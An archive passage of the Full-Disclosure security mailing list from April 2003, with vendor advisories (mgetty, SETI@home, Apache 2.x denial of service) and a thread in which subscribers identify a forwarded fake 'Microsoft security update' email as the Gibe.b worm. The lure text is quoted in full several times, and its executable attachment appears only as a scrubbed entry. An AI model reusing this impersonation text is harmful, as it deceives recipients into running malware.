close a possible buffer overflow and a permissions problem present in versions of mgetty prior to version 1.1.29. 2. Relevant releases/architectures: Red Hat Linux 7.1 - i386 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 3. Problem description: mgetty is a getty replacement for use with data and fax modems. mgetty can be configured to run an external program to decide whether or not to answer an incoming call based on Caller ID information. Unpatched versions of mgetty prior to 1.1.29 would overflow an internal buffer if the caller name reported by the modem was too long. Additionally, the faxspool script supplied with versions of mgetty prior to 1.1.29 used a simple permissions scheme to allow or deny fax transmission privileges. This scheme was easily circumvented because the spooling directory used for outgoing faxes was world-writable. All users of mgetty should upgrade to these errata packages, which contain mgetty 1.1.30 and are not vulnerable to these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 78543 - Mgetty 1.1.29 fixes security issue 6. RPMs required: Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/mgetty-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/mgetty-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/mgetty-1.1.30-0.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/mgetty-sendfax-1.1.30-0.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/mgetty-voice-1.1.30-0.7.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/mgetty-viewfax-1.1.30-0.7.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/mgetty-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/mgetty-1.1.30-0.8.0.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/mgetty-1.1.30-0.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/mgetty-sendfax-1.1.30-0.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/mgetty-voice-1.1.30-0.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/mgetty-viewfax-1.1.30-0.8.0.i386.rpm 7. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 61f0f82bcb856400af7ed07d8f14e7c5 7.1/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm 0b9d994a33d2da4a8aa863f451932dae 7.1/en/os/i386/mgetty-1.1.30-0.7.i386.rpm 31c4d0bc42d5ec9576b8e1928d57564f 7.1/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm 6435235949e4c553c8f3f116d86c9988 7.1/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm 0a5d8b01d6ec299da69332d597c5b0f2 7.1/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm 61f0f82bcb856400af7ed07d8f14e7c5 7.2/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm 0b9d994a33d2da4a8aa863f451932dae 7.2/en/os/i386/mgetty-1.1.30-0.7.i386.rpm 31c4d0bc42d5ec9576b8e1928d57564f 7.2/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm 6435235949e4c553c8f3f116d86c9988 7.2/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm 0a5d8b01d6ec299da69332d597c5b0f2 7.2/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm f26f33d9868f6212df1a86984661f202 7.2/en/os/ia64/mgetty-1.1.30-0.7.ia64.rpm d8b0cea6d7b8b61493f80727078930d2 7.2/en/os/ia64/mgetty-sendfax-1.1.30-0.7.ia64.rpm a16dc07d8740a8dd3ff37f90540dd96e 7.2/en/os/ia64/mgetty-viewfax-1.1.30-0.7.ia64.rpm ebe71154e65a6f75b4150023413b09b8 7.2/en/os/ia64/mgetty-voice-1.1.30-0.7.ia64.rpm 61f0f82bcb856400af7ed07d8f14e7c5 7.3/en/os/SRPMS/mgetty-1.1.30-0.7.src.rpm 0b9d994a33d2da4a8aa863f451932dae 7.3/en/os/i386/mgetty-1.1.30-0.7.i386.rpm 31c4d0bc42d5ec9576b8e1928d57564f 7.3/en/os/i386/mgetty-sendfax-1.1.30-0.7.i386.rpm 6435235949e4c553c8f3f116d86c9988 7.3/en/os/i386/mgetty-viewfax-1.1.30-0.7.i386.rpm 0a5d8b01d6ec299da69332d597c5b0f2 7.3/en/os/i386/mgetty-voice-1.1.30-0.7.i386.rpm 55d0d8d95275d776e515e9206acd5ecf 8.0/en/os/SRPMS/mgetty-1.1.30-0.8.0.src.rpm 7a2efcddc4bc8a7ff014d3e5697aef3a 8.0/en/os/i386/mgetty-1.1.30-0.8.0.i386.rpm d6efc4787ee443b942ef720ffceb8531 8.0/en/os/i386/mgetty-sendfax-1.1.30-0.8.0.i386.rpm 677a355141fcd582be34cd9f60639ce2 8.0/en/os/i386/mgetty-viewfax-1.1.30-0.8.0.i386.rpm 9c226ac2e4c2aeb84e0cd49dc3619cba 8.0/en/os/i386/mgetty-voice-1.1.30-0.8.0.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://search.alphanet.ch/cgi-bin/search.cgi?msgid=20021125142338.E12094%40greenie.muc.de&max_results=1&type=long&domain=ml-mgetty http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1391 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1392 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From security-advisories at freebsd.org Tue Apr 8 13:12:05 2003 From: security-advisories at freebsd.org (FreeBSD Security Advisories) Date: Tue, 8 Apr 2003 05:12:05 -0700 (PDT) Subject: [Full-Disclosure] FreeBSD Security Notice FreeBSD-SN-03:02 Message-ID: <200304081212.h38CC5Rj050424@freefall.freebsd.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SN-03:02 Security Notice The FreeBSD Project Topic: security issue in SETI at home client Announced: 2003-04-08 I. Introduction A port in the FreeBSD Ports Collection is affected by a security issue. Summary information is given below with references and affected versions. All versions given refer to the FreeBSD port/package version numbers. The listed vulnerabilities are not specific to FreeBSD unless otherwise noted. This port is not installed by default, nor is it ``part of FreeBSD'' as such. The FreeBSD Ports Collection contains thousands of third-party applications in a ready-to-install format. FreeBSD makes no claim about the security of these third-party applications. See for more information about the FreeBSD Ports Collection. II. Ports +------------------------------------------------------------------------+ Port name: astro/setiathome Affected: All versions Status: Not fixed Excerpt from Berend-Jan Wever a.k.a. SkyLined's advisory: ``There is a bufferoverflow in the server responds handler. Sending an overly large string followed by a newline ('\n') character to the client will trigger this overflow. This has been tested with various versions of the client. All versions are presumed to have this flaw in some form.'' Example exploits for FreeBSD and other systems exist. A new version of SETI at home for FreeBSD is not available at the time of this security notice. +------------------------------------------------------------------------+ FreeBSD Security Notices are communications from the Security Officer intended to inform the user community about potential security issues, such as bugs in the third-party applications found in the Ports Collection, which will not be addressed in a FreeBSD Security Advisory. Feedback on Security Notices is welcome at . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (FreeBSD) iD8DBQE+kruuFdaIBMps37IRAksIAKCXua4QQz3P3Y4qysYW8/ftjQhozQCfVnNw PZAo0yzuFpYydTgYrodW+4Q= =DQki -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" From debian-security-announce at lists.debian.org Tue Apr 8 16:45:57 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Tue, 8 Apr 2003 17:45:57 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 281-1] New xftp packages fix arbitrary code execution Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/83c24c5b/attachment.ksh From labs at idefense.com Tue Apr 8 17:44:39 2003 From: labs at idefense.com (iDEFENSE Labs) Date: Tue, 8 Apr 2003 12:44:39 -0400 Subject: [Full-Disclosure] iDEFENSE Security Advisory 04.08.03: Denial of Service in Apache HTTP Server 2.x Message-ID: <3E92C437.13352.645BFE6@localhost> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 04.08.03: http://www.idefense.com/advisory/04.08.03.txt Denial of Service in Apache HTTP Server 2.x April 8, 2003 I. BACKGROUND The Apache Software Foundation's HTTP Server Project is an effort to develop and maintain an open-source web server for modern operating systems including Unix and Microsoft Corp.'s Windows. More information is available at http://httpd.apache.org/ . II. DESCRIPTION Remote exploitation of a memory leak in the Apache HTTP Server causes the daemon to over utilize system resources on an affected system. The problem is HTTP Server's handling of large chunks of consecutive linefeed characters. The web server allocates an eighty-byte buffer for each linefeed character without specifying an upper limit for allocation. Consequently, an attacker can remotely exhaust system resources by generating many requests containing these characters. III. ANALYSIS While this type of attack is most effective in an intranet setting, remote exploitation over the Internet, while bandwidth intensive, is feasible. Remote exploitation could consume system resources on a targeted system and, in turn, render the Apache HTTP daemon unavailable. iDEFENSE has performed research using proof of concept exploit code to demonstrate the impact of this vulnerability. A successful exploitation scenario requires between two and seven megabytes of traffic exchange. IV. DETECTION Both the Windows and Unix implementations of Apache HTTP Server 2.0.44 are vulnerable; all 2.x versions up to and including 2.0.44 are most likely vulnerable as well. V. VENDOR FIX/RESPONSE Apache HTTP Server 2.0.45, which fixes this vulnerability, can be downloaded at http://httpd.apache.org/download.cgi . This release introduces a limit of 100 blank lines accepted before an HTTP connection is discarded. VI. CVE INFORMATION The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2003-0132 to this issue. VII. DISCLOSURE TIMELINE 01/23/2003 Issue disclosed to iDEFENSE 03/06/2003 security at apache.org contacted 03/06/2003 Response from Lars Eilebrecht 03/11/2003 Status request from iDEFENSE 03/13/2003 Response received from Mark J Cox 03/23/2003 Response received from Brian Pane 03/25/2003 iDEFENSE clients notified 04/08/2003 Coordinated Public Disclosure Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listserv at idefense.com, subject line: "subscribe" About iDEFENSE: iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world ? from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. Our security intelligence services provide decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. For more information, visit http://www.idefense.com . -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBPpL7k/rkky7kqW5PEQKSEQCfbqX0EJWYTE1oqFUwpBqGWiFI5esAoMZI P/F2T7UtpHxj1aaJqnJzSyFa =1dI8 -----END PGP SIGNATURE----- From brad.knowles at skynet.be Tue Apr 8 18:32:26 2003 From: brad.knowles at skynet.be (Brad Knowles) Date: Tue, 8 Apr 2003 19:32:26 +0200 Subject: [Full-Disclosure] Fwd: Internet Security Update Message-ID: Folks, I don't think this is a real Microsoft security announcement (they wouldn't be likely to be sent via an unknown IP address over in the space owned by hiwaay.net), but it does appear to be the result of a hoax, a virus, or a Trojan Horse that I have not yet heard of. I've done various searches via Google and on the web sites of the anti-virus vendors, and haven't turned up anything on this issue. Have I missed something? --- begin forwarded text Return-Path: Received: from jay.skynet.be (jay.skynet.be [195.238.3.234]) by leia.skynet.be (8.12.9/8.12.9/Skynet-MAILSTORE-2.13) with ESMTP id h38Gegvd009484 for ; Tue, 8 Apr 2003 18:40:42 +0200 (MET DST) (envelope-from ) Received: from mail.hiwaay.net (ant.hiwaay.net [216.180.54.10]) by jay.skynet.be (8.12.9/8.12.9/Skynet-IN-2.32) with ESMTP id h38GeWLV007568 for ; Tue, 8 Apr 2003 18:40:33 +0200 (envelope-from ) Received: from jmnqyCsl ([206.166.230.5]) by mail.hiwaay.net (8.12.9/8.12.9) with SMTP id h38GKKYb993393; Tue, 8 Apr 2003 11:20:21 -0500 (CDT) Date: Tue, 8 Apr 2003 11:20:20 -0500 (CDT) Message-Id: <200304081620.h38GKKYb993393 at mail.hiwaay.net> FROM: "MS Network Security Center" TO: "Microsoft Customer" <> SUBJECT: Internet Security Update Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="HZlKyXsZvczhLbFWiz" X-UIDL: d615b86024eea0d2e65e554f475f592b Status: U
Microsoft Customer

this is the latest version of security update, the
"April 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting Internet Explorer,
Outlook and Outlook Express as well as five newly
discovered vulnerabilities. Install now to protect your computer
from these vulnerabilities, the most serious of which could allow
an attacker to run executable on your system. This update includes
the functionality of all previously released patches.

System requirements Win 9x/Me/2000/NT/XP
This update applies to Microsoft Internet Explorer, version 4.01 and later
Microsoft Outlook, version 8.00 and later
Microsoft Outlook Express, version 4.01 and later
Recommendation Customers should install the patch at the earliest opportunity.
How to install Run attached file. Click Yes on displayed dialog box.
How to use You don't need to do anything after installing this item.

Microsoft Product Support Services and Knowledge Base articles
can be found on the Microsoft Technical Support web site.
For security-related information about Microsoft products, please
visit the Microsoft Security Advisor web site, or Contact us.

Please do not reply to this message. It was sent from an unmonitored
e-mail address and we are unable to respond to any replies.

Thank you for using Microsoft products.

With friendly greetings,
MS Network Security Center
?2003 Microsoft Corporation. All rights reserved. The names of the actual companies
and products mentioned herein may be the trademarks of their respective owners. --- end forwarded text -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) -------------- next part -------------- A non-text attachment was scrubbed... Name: %P164117.exe Type: application/applefile Size: 121 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/473ecb15/attachment.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: P164117.exe Type: application/octet-stream Size: 155648 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/473ecb15/attachment.exe From ward at pong.be Tue Apr 8 20:15:40 2003 From: ward at pong.be (Ward Vandewege) Date: Tue, 8 Apr 2003 20:15:40 +0100 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: References: Message-ID: <20030408191540.GA27264@countzero> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I got the same message on March 19. Don't know what sends it. Below are the headers of the message I received. Bye for now, Ward. - ---- Return-Path: Delivered-To: pong-be-ward at pong.be Received: from pong.be [193.74.16.33] by localhost with POP3 (fetchmail-5.9.11) for ward at localhost (single-drop); Thu, 20 Mar 2003 09:53:50 +0000 (GMT) Received: (qmail 9955 invoked by uid 101); 19 Mar 2003 21:26:40 -0000 Return-Path: Received: from unknown (HELO ms-smtp-03.tampabay.rr.com) (65.32.1.41) by mail.pong.be with SMTP; 19 Mar 2003 21:26:16 -0000 Received: from LLHosAe (60.34.35.65.cfl.rr.com [65.35.34.60]) by ms-smtp-03.tampabay.rr.com (8.12.5/8.12.5) with SMTP id h2JL6msx000092; Wed, 19 Mar 2003 16:06:49 -0500 (EST) Date: Wed, 19 Mar 2003 16:06:48 -0500 (EST) Message-Id: <200303192106.h2JL6msx000092 at ms-smtp-03.tampabay.rr.com> FROM: "MS Public Support" TO: "Microsoft Customer" <> SUBJECT: Network Security Update. X-Virus-Scanned: NOD32 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="ypBSfERRmmoWSbeU" - ---- On Tue, Apr 08, 2003 at 07:32:26PM +0200, Brad Knowles wrote: > Folks, > > I don't think this is a real Microsoft security announcement > (they wouldn't be likely to be sent via an unknown IP address over in > the space owned by hiwaay.net), but it does appear to be the result > of a hoax, a virus, or a Trojan Horse that I have not yet heard of. > > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. > Have I missed something? > - -- Pong.be -( Writing software is more fun than working. )- Virtual hosting -( )- http://pong.be -( )- GnuPG public key: http://gpg.dtype.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+kx/cqC3O5tzmh5wRAoAeAKCeq3xpB4E7wLw8/35p1XVnPxb6mgCcDzHY sJxbzgb0t2K3trF31h1b8T0= =ScJO -----END PGP SIGNATURE----- From kevin.riggins at comdev.com Tue Apr 8 20:11:22 2003 From: kevin.riggins at comdev.com (Kevin Riggins) Date: Tue, 8 Apr 2003 14:11:22 -0500 Subject: VIRUS WARNING! (was:[Full-Disclosure] Fwd: Internet Security Update) Message-ID: <56A8FFD8E055564F9A590E48FBD9B91A8E6B@exchange.comdev.com> F-Secure picks this up as a virus. Below is the notification message. ########################################### WARNING! F-Secure Anti-Virus for Microsoft Exchange has processed the message (Subj:'[Full-Disclosure] Fwd: Internet Security Update') sent by '"Brad Knowles" ' to '"Full Disclosure Mailing List" '. The following potential security hazards have been found and corresponding actions have been taken. File name: P164117.exe File size: 155648 bytes Found threat: I-Worm.Gibe.b Action: Dropped Quarantined: infect\FSAVMSE2003040814012610963 The attached message can now be opened safely. If you need to access quarantined file(s), please contact your system administrator. Please contact the sender and inform them about the virus. For additional information about security threats, connect to http://www.F-Secure.com/virus-info/ ########################################### From jstewart at lurhq.com Tue Apr 8 20:34:54 2003 From: jstewart at lurhq.com (Joe Stewart) Date: Tue, 8 Apr 2003 15:34:54 -0400 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: References: Message-ID: <200304081534.54997.jstewart@lurhq.com> On Tuesday 08 April 2003 01:32 pm, Brad Knowles wrote: > I don't think this is a real Microsoft security announcement > (they wouldn't be likely to be sent via an unknown IP address over in > the space owned by hiwaay.net), but it does appear to be the result > of a hoax, a virus, or a Trojan Horse that I have not yet heard of. > > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. > Have I missed something? It's the Gibe.b worm, discovered in February. It is known to pose as a Microsoft security announcement. http://www.f-secure.com/v-descs/gibe_b.shtml -Joe -- Joe Stewart, GCIH Senior Intrusion Analyst LURHQ Corporation http://www.lurhq.com/ From Nicolas.Villatte at advalvas.be Tue Apr 8 21:03:00 2003 From: Nicolas.Villatte at advalvas.be (Nicolas Villatte) Date: Tue, 8 Apr 2003 22:03:00 +0200 Subject: MCAFEE E-MAIL SCAN ALERT!~[FULL-DISCLOSURE] FWD: INTERNET SECURITY UPDATE In-Reply-To: Message-ID: <011101c2fe09$e12f2800$7044cd3e@INTERNET> Are you stupid? You are sending a virus on the list, of course this is not a Microsoft Security announcement Attachment file : P164117.exe Virus name: W32/Gibe.gen at MM Folks, I don't think this is a real Microsoft security announcement (they wouldn't be likely to be sent via an unknown IP address over in the space owned by hiwaay.net), but it does appear to be the result of a hoax, a virus, or a Trojan Horse that I have not yet heard of. I've done various searches via Google and on the web sites of the anti-virus vendors, and haven't turned up anything on this issue. Have I missed something? --- begin forwarded text Return-Path: Received: from jay.skynet.be (jay.skynet.be [195.238.3.234]) by leia.skynet.be (8.12.9/8.12.9/Skynet-MAILSTORE-2.13) with ESMTP id h38Gegvd009484 for ; Tue, 8 Apr 2003 18:40:42 +0200 (MET DST) (envelope-from ) Received: from mail.hiwaay.net (ant.hiwaay.net [216.180.54.10]) by jay.skynet.be (8.12.9/8.12.9/Skynet-IN-2.32) with ESMTP id h38GeWLV007568 for ; Tue, 8 Apr 2003 18:40:33 +0200 (envelope-from ) Received: from jmnqyCsl ([206.166.230.5]) by mail.hiwaay.net (8.12.9/8.12.9) with SMTP id h38GKKYb993393; Tue, 8 Apr 2003 11:20:21 -0500 (CDT) Date: Tue, 8 Apr 2003 11:20:20 -0500 (CDT) Message-Id: <200304081620.h38GKKYb993393 at mail.hiwaay.net> FROM: "MS Network Security Center" TO: "Microsoft Customer" <> SUBJECT: Internet Security Update Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="HZlKyXsZvczhLbFWiz" X-UIDL: d615b86024eea0d2e65e554f475f592b Status: U
Microsoft Customer

this is the latest version of security update, the
"April 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting Internet Explorer,
Outlook and Outlook Express as well as five newly
discovered vulnerabilities. Install now to protect your computer
from these vulnerabilities, the most serious of which could allow
an attacker to run executable on your system. This update includes
the functionality of all previously released patches.

System requirements Win 9x/Me/2000/NT/XP
This update applies to Microsoft Internet Explorer, version 4.01 and later
Microsoft Outlook, version 8.00 and later
Microsoft Outlook Express, version 4.01 and later
Recommendation Customers should install the patch at the earliest opportunity.
How to install Run attached file. Click Yes on displayed dialog box.
How to use You don't need to do anything after installing this item.

Microsoft Product Support Services and Knowledge Base articles
can be found on the Microsoft Technical Support web site.
For security-related information about Microsoft products, please
visit the Microsoft Security Advisor web site, or Contact us.

Please do not reply to this message. It was sent from an unmonitored
e-mail address and we are unable to respond to any replies.

Thank you for using Microsoft products.

With friendly greetings,
MS Network Security Center
C2003 Microsoft Corporation. All rights reserved. The names of the actual companies
and products mentioned herein may be the trademarks of their respective owners. --- end forwarded text -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3374 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030408/ee48c3cb/attachment.bin From dotslash at snosoft.com Tue Apr 8 15:36:34 2003 From: dotslash at snosoft.com (KF) Date: Tue, 08 Apr 2003 09:36:34 -0500 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: References: Message-ID: <3E92DE72.2010302@snosoft.com> I don't see any reason for a Microsoft patch to contain refrences to Kazaa either... there seems to be several dns hostnames in the executable as well... of course strings is not a valid method for determining if this binary is virii or not... -KF Brad Knowles wrote: > Folks, > > I don't think this is a real Microsoft security announcement (they > wouldn't be likely to be sent via an unknown IP address over in the > space owned by hiwaay.net), but it does appear to be the result of a > hoax, a virus, or a Trojan Horse that I have not yet heard of. > > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. Have > I missed something? > From terrell at coyoterock.com Tue Apr 8 20:31:39 2003 From: terrell at coyoterock.com (Terrell Gilliland) Date: Tue, 8 Apr 2003 14:31:39 -0500 Subject: [Full-Disclosure] Fwd: Internet Security Update In-Reply-To: Message-ID: This is indeed a hoax. Microsoft never sends out patches via e-mail. For more information see the following page on Microsoft's TechNet web: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ news/patch_hoax.asp -----Original Message----- From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Brad Knowles Sent: Tuesday, April 08, 2003 12:32 PM To: Full Disclosure Mailing List Subject: [Full-Disclosure] Fwd: Internet Security Update From gregory.lebras at security-corporation.com Tue Apr 8 20:38:21 2003 From: gregory.lebras at security-corporation.com (Gregory Le Bras | Security Corporation) Date: Tue, 8 Apr 2003 21:38:21 +0200 Subject: [Full-Disclosure] Fwd: Internet Security Update References: Message-ID: <061e01c2fe06$6f985bb0$0300a8c0@goliath> > Folks, > > I don't think this is a real Microsoft security announcement > (they wouldn't be likely to be sent via an unknown IP address over in > the space owned by hiwaay.net), but it does appear to be the result > of a hoax, a virus, or a Trojan Horse that I have not yet heard of. > > I've done various searches via Google and on the web sites of the > anti-virus vendors, and haven't turned up anything on this issue. > Have I missed something? I also received an e-mail of the same type some days ago... The attached file was named : update8.exe (155 468 bytes) We can see in this file and in your file the following message : "Coded ...by Begbie, Slovakia" I've also done various searches via Google and Symantec.com, and haven't found anything....This is a new trojan, virus or other ? I'll try to analyse the attached file. Here the e-mail : Return-Path: Delivered-To: gregory.lebras at security-corp.org Received: (qmail 22973 invoked by uid 503); 7 Apr 2003 21:38:43 -0000 Received: from unknown (HELO rwcrmhc51.attbi.com) (204.127.198.38) by ns3518.ovh.net with SMTP; 7 Apr 2003 21:38:43 -0000 Date: Mon, 7 Apr 2003 21:38:34 +0000 (GMT) X-Comment: Sending client does not conform to RFC822 minimum requirements X-Comment: Date has been added by Maillennium. Received: from nbljlas (12-252-188-53.client.attbi.com[12.252.188.53]) by rwcrmhc51.attbi.com (rwcrmhc51) with SMTP id <2003040721382305100lu7bte>; Mon, 7 Apr 2003 21:38:31 +0000 FROM: "Microsoft Security Section" TO: "Microsoft Partner" SUBJECT: New Internet Security Pack X-Virus-Scanned: AVG Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="IGHvGmOLeSCacrkqAXyF" --IGHvGmOLeSCacrkqAXyF Content-Type: multipart/alternative; boundary="ZwqFxVeUubmrSH" --ZwqFxVeUubmrSH Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Microsoft Partner this is the latest version of security update, the "April 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting Internet Explorer, Outlook and Outlook Express as well as five newly discovered vulnerabilities. Install now to protect your computer from these vulnerabilities, the most serious of which could allow an attacker to run executable on your system. This update includes the functionality of all previously released patches. System requirements: Win 9x/Me/2000/NT/XP This update applies to: Microsoft Internet Explorer, version 4.01 and later Microsoft Outlook, version 8.00 and later Microsoft Outlook Express, version 4.01 and later Recommendation: Customers should install the patch at the earliest opportunity. How to install: Run attached file. Click Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Technical Support is available at http://support.microsoft.com/ For security-related information about Microsoft products, please visit the Microsoft Security Advisor web site at http://www.microsoft.com/security Contact us at http://www.microsoft.com/isapi/goregwiz.asp?target=3D/contactus/= contactus.asp Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable to respond to any replies. Thank you for using Microsoft products. With friendly greetings, Microsoft Security Section ________________________________________ =A92003 Microsoft Corporation. All rights reserved. The names of = the actual companies and products mentioned herein = may be the trademarks of their respective owners. --- Outgoing mail is certified Virus Free. Checked by Symantec anti-virus system (http://www.symantec.com). Release Date: 18.3.2003 --ZwqFxVeUubmrSH Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Microsoft Partner

this is the latest version of security update, the
"April 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting Internet Explorer,
Outlook and Outlook Express as well as five newly
discovered vulnerabilities. Install now to protect your computer
from these vulnerabilities, the most serious of which could allow
an attacker to run executable on your system. This update includes
the functionality of all previously released patches.

System requirements Win 9x/Me/2000/NT/XP
This update applies to Microsoft Internet Explorer, version 4.01 and later
Microsoft Outlook, version 8.00 and later
Microsoft Outlook Express, version 4.01 and later
Recommendation Customers should install the patch = at the earliest opportunity.
How to install Run attached file. = Click Yes on displayed dialog box.
How to use You don't need to do = anything after installing this item.

Microsoft Product Support Services and Knowledge Base articles
can be found on the = Microsoft Technical Support web site.
For security-related information about Microsoft products, please
visit the Microsoft Security Advisor web site, = or Contact us.

Please do not reply to this message. It was sent from an unmonitored
e-mail address and we are unable to respond to any replies.

Thank you for using Microsoft products.

With friendly greetings,
Microsoft Security Section
=A92003 Microsoft Corporation. All = rights reserved. The names of the actual companies
and products mentioned herein may be the trademarks of = their respective owners.

---
Outgoing mail is certified Virus Free.
Checked by Symantec anti-virus system (http://www.symantec.com).
